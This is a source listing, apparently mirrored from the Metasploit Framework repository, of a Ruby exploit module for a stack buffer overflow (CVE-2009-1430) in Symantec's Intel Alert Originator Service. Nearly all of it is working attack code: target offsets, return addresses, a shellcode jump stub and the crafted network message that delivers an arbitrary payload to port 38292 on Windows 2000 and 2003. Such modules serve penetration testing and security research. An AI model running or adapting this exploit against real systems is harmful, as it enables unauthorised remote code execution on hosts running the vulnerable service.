Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/antivirus/symantec_iao.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Symantec Alert Management System Intel Alert Originator Service Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe.
18
When an attacker sends a specially crafted alert, arbitrary code may be executed.
19
},
20
'Author' => [ 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' => [
23
[ 'CVE', '2009-1430' ],
24
[ 'OSVDB', '54159'],
25
[ 'BID', '34674' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' => {
29
'EXITFUNC' => 'process',
30
},
31
'Payload' => {
32
'Space' => 800,
33
'BadChars' => "\x00\x20\x0a\x0d",
34
'StackAdjustment' => -3500,
35
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Windows 2003', { 'Offset' => 1061, 'Ret' => 0x00401130 } ],
40
[ 'Windows 2000 All', { 'Offset' => 1065, 'Ret' => 0x00401130 } ],
41
],
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2009-04-28',
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([ Opt::RPORT(38292) ])
53
end
54
55
def exploit
56
connect
57
58
filler = rand_text_alpha_upper(2048)
59
60
sploit = payload.encoded
61
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
62
sploit << Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
63
sploit << [target.ret].pack('V')
64
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-950").encode_string
65
sploit << rand_text_alpha_upper(rand(24) + 700) + "\x00"
66
67
msg = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x02\x00\x95\x94\xac\x10"
68
msg << "\x08\xb4\x00\x00\x00\x00\x00\x00\x00\x00" + [filler.length].pack('V')
69
msg << "ORIGCNFG" + "\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x03\x03\xb8"
70
msg << "\x60\x00\x00\x00\x00\x00\x00" + "BIND"
71
msg << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
72
msg << "\x04" + "BIND" + "\x00" + [filler.length].pack('V')
73
msg << rand_text_alpha_upper(7) + " Alert" + sploit
74
msg << "\x00" + [filler.length].pack('V') + [filler.length].pack('V')
75
msg << rand_text_alpha_upper(rand(10) + 36)
76
msg << filler + "\x00\x00\x00\x00" + "PRGX" + "\x00\x04\xAC\x10\x08\x1D"
77
msg << "\x07\x08\x12\x00" + "ConfigurationName" + "\x00\x16\x00\x14\x00"
78
msg << rand_text_alpha_upper(rand(1) + 25) + "\x00\x08\x08\x00" + "RunArgs"
79
msg << "\x00\x04\x00\x02" + "\x00\x20\x00\x03\x05\x00" + "FormatString"
80
msg << "\x00\x02\x00\x00\x00\x08\x12\x00" + "ConfigurationName"
81
msg << "\x00\x02\x00\x00\x00\x08\x0C\x00" + "HandlerHost"
82
msg << "\x00\x17\x00\x15\x00" + rhost + "\x00\x00\x00\x00\x00\x00"
83
84
print_status("Trying target #{target.name}...")
85
sock.put(msg)
86
87
handler
88
disconnect
89
end
90
end
91
92